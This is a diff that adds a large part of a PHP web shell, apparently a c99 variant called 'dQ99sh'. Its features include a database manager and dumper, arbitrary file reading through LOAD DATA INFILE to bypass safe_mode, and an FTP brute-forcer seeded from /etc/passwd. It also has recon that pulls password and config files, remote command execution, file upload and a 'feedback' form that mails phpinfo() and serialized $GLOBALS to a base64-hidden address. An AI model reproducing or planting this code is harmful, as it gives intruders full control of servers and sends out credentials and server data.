$sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") { + echo "
    "; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



    ";} + } + if (in_array($sql_act,$acts)) { + ?> +
    Create new table: +
    + + + + + + + + + +
    Dump DB: +
    + + + + + + ">
    + ";} + if ($sql_act == "newtbl") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} + } + elseif ($sql_act == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "
    SQL-Dump:

    "; + echo "DB:

    "; + $v = join (";",$dmptbls); + echo "Only tables (explode \";\") 1: 

    "; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "File: 

    "; + echo "Download:  

    "; + echo "Save to file:  "; + echo "



    1 - all, if empty"; + echo "
    "; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + } + } + else {echo "Dump: nothing to do!";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; + echo "[ Structure ]   "; + echo "[ Browse ]   "; + echo "[ Dump ]   "; + echo "Insert ]   "; + if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} + if ($sql_tbl_act == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "

    Inserting row into table:
    "; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "
    "; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo ""; + $i++; + } + echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; + echo "Insert as new row"; + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + echo "

    "; + } + } + if ($sql_tbl_act == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "
    "; + echo "\"Pages\" "; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} + else {echo " ";} + } + if ($i == 0) {echo "empty";} + echo "
    From:  To:  
    "; + echo "
    "; + echo ""; + echo ""; + for ($i=0;$i"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "".$v."";} + else {echo "".$v."\"".$m."\"";} + echo ""; + } + echo ""; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo ""; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo ""; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "NULL";} + echo ""; + $i++; + } + echo ""; + echo ""; + } + mysql_free_result($result); + echo "
    Action
    ".$v.""; + echo "\"Delete\" "; + echo "\"Edit\" "; + echo "

     

    "; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "
    "; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    +
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; + if ($sql_act == "newdb") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "
    Server-status variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "
    Server variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "Process #".$kill." was killed."; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "
    Processes:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "Error in reading file (permision denied)!";} + else + { + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} + else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "
    \n"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "
    Affected rows : ".$affected."
    \n"; +} +//End of SQL Manager +if ($act == "ftpquickbrute") { +echo "
    "; +echo "". + "". + "". + "". + "". + "
    "; +echo ".: Ftp Quick Brute :.
    "; +if ($win) { echo "Can't run on Windows!"; } +else { + function dQ99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) { + echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
    "; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (dQ99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."dQ99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "
    ". + "Read first:
    Users only with shell
    Logging
    Logging to file:
    Logging to e-mail:
    "; + } + echo "
    "; +} +} +if ($act == "d") { + if (!is_dir($d)) { echo "
    $d is a not a Directory!
    "; } + else { + echo "Directory information:"; + if (!$win) { + echo "
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
    "; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); dQ99shexit();} +if ($act == "security") { + echo "
    .: Server Security Information :.
    \n". + "\n". + "\n"; + echo "\n"; + echo ""; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "\n"; + } + } + if (!$win) { + displaysecinfo("OS Version",dQ99exec("cat /proc/version")); + displaysecinfo("Kernel Version",dQ99exec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",dQ99exec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",dQ99exec("cat /etc/*-realise")); + displaysecinfo("CPU Info",dQ99exec("cat /proc/cpuinfo")); + displaysecinfo("RAM",dQ99exec("free -m")); + displaysecinfo("HDD Space",dQ99exec("df -h")); + displaysecinfo("List of Attributes",dQ99exec("lsattr -a")); + displaysecinfo("Mount Options",dQ99exec("cat /etc/fstab")); + displaysecinfo("lynx installed?",dQ99exec("which lynx")); + displaysecinfo("links installed?",dQ99exec("which links")); + displaysecinfo("GET installed?",dQ99exec("which GET")); + displaysecinfo("Where is Apache?",dQ99exec("whereis apache")); + displaysecinfo("Where is perl?",dQ99exec("whereis perl")); + displaysecinfo("Locate proftpd.conf",dQ99exec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",dQ99exec("locate httpd.conf")); + displaysecinfo("Locate my.conf",dQ99exec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",dQ99exec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",dQ99exec("ver")); + displaysecinfo("Account Settings",dQ99exec("net accounts")); + displaysecinfo("User Accounts",dQ99exec("net user")); + } + echo "
    Open Base Dir".$hopenbasedir."
    Password File"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:
    "; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "
    From:  To:  

    "; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "".$uid["dir"].""; + echo join(":",$uid)."
    "; + } + $i++; + } + } + else {echo "Download /etc/passwd";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (!file_get_contents($v)) { echo "Download password file"; } + } + echo "
    Config Files\n"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ ".$sec_arr[0]." ] \n"; + } + } + echo "
    ".$name."
    ".wordwrap($value,100)."
    \n"; +} +if ($act == "mkfile") { + if ($mkfile != $d) { + if ($overwrite == 0) { + if (file_exists($mkfile)) { echo "FILE EXIST: $overwrite ".htmlspecialchars($mkfile); } + } + else { + if (!fopen($mkfile,"w")) { echo "ACCESS DENIED: ".htmlspecialchars($mkfile); } + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); } + } + } + else { echo "
    Enter filename!
    \r\n"; } +} +if ($act == "encoder") { +echo "". + "
    ". + "". + "
    ". + "". + "". + ""; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo ""; +} +echo "". + "". + "". + "". + "". + "". + "". + "
    .: Encoder :.
    Input:
    ". + "
    Hashes:".$v.":
    Url:urlencode:
    urldecode:
    Base64:base64_encode:
    base64_decode:"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo ""; } + else { $rows++; echo ""; } + echo " [Send to input]"; +} +echo "
    Base convertations:dec2hex
    "; +} +if ($act == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "

    Buffer is empty!

    ";} + else { + $dQ_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +if ($act == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; dQ99shexit(); } + else { echo "
    Can't delete ".__FILE__."!
    "; } + } + else { + if (!empty($rndcode)) {echo "Error: incorrect confirmation!";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "
    \n". + "". + "". + "Kill-shell: ".__FILE__."
    ". + "Are you sure? For confirmation, enter \"".$rnd."\" \n". + "\n"; + } +} +if ($act == "update") { + $ret = dQ99sh_getupdate(!!$confirmupdate); + echo "".$ret.""; + if (stristr($ret,"new version")) { + echo "

    "; + } +} +if ($act == "feedback") { + $suppmail = base64_decode("ZGhpZXF3ZWJtYXJrZXJAeWFob28uY29t"); + if (!empty($submit)){ + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; + } + else { + echo "
    ". + "". + "". + "". + "". + "". + "
    ". + ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.
    Your name:". + "
    Your e-mail:
    Message:
    ". + " Attach Server info (Recommended for bug-fix)
    ". + "*Language: English, Indonesian.
    \n"; + } +} +if ($act == "dQmailer") { + if (!empty($submit)){ + $headers = 'To: '.$dest_email."\r\n"; + $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; + if (mail($suppmail,$sender_subj,$sender_body,$header)) { + echo "
    Email sent!
    "; + } + else { echo "
    Can't send email!
    "; } + } + else { + echo "
    ". + "". + "". + "". + "". + "". + "". + "
    ". + ".: $sh_name Mailer :.
    Your name:". + "
    Your e-mail:
    To:
    Subject:
    Message:
    ". + "
    \n"; + } +} +if ($act == "search") { + echo "
    .: $sh_name File-System Search :.
    "; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {dQ99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "". + "". + "". + "". + "". + "". + "
    ". + "". + "File or folder Name:
      - Regular Expression
    Look in (Separate by \";\"):
    A word or phrase in the file:
    Regular Expression". + " Whole words only". + " Case sensitive". + " Find files NOT containing the text
    \n"; + if ($act == "ls") { + $dspact = $act; + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
    ". + "
    "; + } +} +if ($act == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) { + $perms = parse_perms($mode); + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; + } + } +} +if ($act == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    "; + } + else { $uploadmess .= "File uploaded successfully!
    ".$uploadpath.$destin; } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "".$uploadmess.""; + $act = "ls"; + } + else { + echo "". + "". + "". + "". + "". + "". + "". + "
    ". + ".: File Upload :.".$uploadmess."
    ". + "From Your Computer:
    From URL:
    Target Directory:
    Target File Name:
    Convert file name to lowercase
    ". + "
    "; + } +} +if ($act == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."
    "; } + } + if (!empty($delerr)) { echo "Error deleting:
    ".$delerr; } + $act = "ls"; +} +if (!$usefsbuff) { + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) { + echo "
    Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.
    "; + } +} +else { + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); dQ99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); dQ99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} dQ99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); dQ99_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + dQ99_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = dQ99exec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + dQ99_sess_put($sess_data); + if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + dQ99_sess_put($sess_data); + if (!empty($psterr)) {echo "Error pasting:
    ".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "
    .: Results of Execution :.
    \n"; + $olddir = realpath("."); + @chdir($d); + $ret = dQ99exec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\n",$ret))+1; + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + $cols = 130; + echo "\n"; + //echo "
    ".htmlspecialchars($ret)."
